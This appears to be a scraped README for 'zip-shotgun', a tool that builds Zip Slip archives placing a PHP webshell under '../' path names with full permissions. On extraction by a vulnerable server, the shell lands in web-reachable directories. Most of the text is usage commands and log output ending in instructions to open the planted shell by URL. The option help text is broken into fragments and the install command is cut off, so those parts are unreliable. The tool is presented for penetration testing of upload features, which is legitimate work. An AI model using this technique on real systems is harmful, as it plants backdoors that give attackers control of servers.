zip

Utility script to test zip file upload functionality (and possible extraction of zip files) for vulnerabilities (aka Zip Slip). Idea for this script comes from this post on Silent Signal Techblog - Compressed File Upload And Command Execution and from OWASP - Test Upload of Malicious Files

Snyk.io has got a report how this works: Zip Slip vulnerability and a GitHub repository with vulnerable libraries in different languages: Snyk.io Zip Slip github repo

There is also a great video from LiveOverflow shedding some light on Zip Slip and Zipperdown vulnerabilities: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

This script will create archive which contains files with "../" in filename. When extracting this could cause files to be extracted to preceding directories. It can allow attacker to extract shells to directories which can be accessed from web browser.

Default webshell is wwwolf's PHP web shell and all the credit for it goes to WhiteWinterWolf. Source is available HERE

1. Install using Python pip (Python 3 required)

`git clone

Execute from root directory of the cloned repository (where setup.py file is located)

Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

--version Show the version and exit.

files will be added to the zip: shell.php,

-n, --shell-name TEXT Name of the shell inside the generated zip

file (e.g shell). If not provided it will be

randomly generated. Cannot have whitespaces

-f, --shell-file-path PATH A file that contains code for the shell. If

(

added to the zip with the provided name or

if not provided the name will be randomly

--compress Enable compression. If this flag is set

algorithm with compression level of 9. By

-h, --help Show this message and exit.

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj

12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php

12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL

2. Using default options and enabling compression for archive file

12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh

12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code

12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php

12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9

12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL

3. Using default options but changing the number of directories to go back in the archive to 3

`zip-shotgun --directories-count 3 archive.zip`

The script will write 3 files in total to the archive

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F

12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php

12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL

4. Using default options but providing shell name inside archive and enabling compression

`zip-shotgun --shell-name custom-name --compress archive.zip`

`zip-shotgun -n custom-name --compress archive.zip`

Name for shell files inside the archive will be set to the one provided by the user.

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php

12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL

5. Provide custom shell file but use random name inside archive. Set directories count to 3

`zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip`

`zip-shotgun -c 3 -f ./custom-shell.php archive.zip`

Shell code will be extracted from user provided file. Names inside the archive will be randomly generated.

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf

12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL

6. Provide custom shell file and set shell name to save inside archive. Set directories count to 3 and use compression

`zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip`

`zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip`

Shell code will be extracted from user provided file. Names inside the archive will be set to user provided name.

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip

12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php

12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL